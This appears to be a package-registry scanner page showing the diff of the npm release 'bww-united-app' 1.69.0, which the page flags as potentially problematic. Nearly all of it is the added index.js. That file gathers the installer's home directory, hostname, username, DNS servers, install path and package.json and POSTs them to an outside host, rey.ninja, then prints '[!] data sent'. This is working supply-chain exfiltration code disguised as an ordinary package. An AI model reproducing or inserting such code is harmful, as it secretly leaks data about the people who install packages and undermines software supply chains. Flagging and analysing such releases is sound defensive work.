bww-united-app 1.69.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of bww-united-app might be problematic. Click here for more details.
- package/index.js +41 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,41 @@
|
|
1
|
+
//author:- whitehacker003@protonmail.com
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
var data = JSON.stringify({
|
10
|
+
p: package,
|
11
|
+
c: __dirname,
|
12
|
+
homedir: os.homedir(),
|
13
|
+
hostname: os.hostname(),
|
14
|
+
username: os.userInfo().username,
|
15
|
+
dns_server: dns.getServers(),
|
16
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
17
|
+
v: packageJSON.version,
|
18
|
+
pjson: packageJSON,
|
19
|
+
});
|
20
|
+
|
21
|
+
|
22
|
+
var options = {
|
23
|
+
hostname: 'rey.ninja',
|
24
|
+
path: '/vague/dev/',
|
25
|
+
method: 'POST',
|
26
|
+
headers: {
|
27
|
+
'Content-Type': 'application/json',
|
28
|
+
'Content-Length': data.length
|
29
|
+
}
|
30
|
+
};
|
31
|
+
|
32
|
+
|
33
|
+
var req = https.request(options);
|
34
|
+
|
35
|
+
req.on('error', function(e) {
|
36
|
+
console.error(e);
|
37
|
+
});
|
38
|
+
|
39
|
+
req.write(data);
|
40
|
+
req.end();
|
41
|
+
console.log("[!] data sent")
|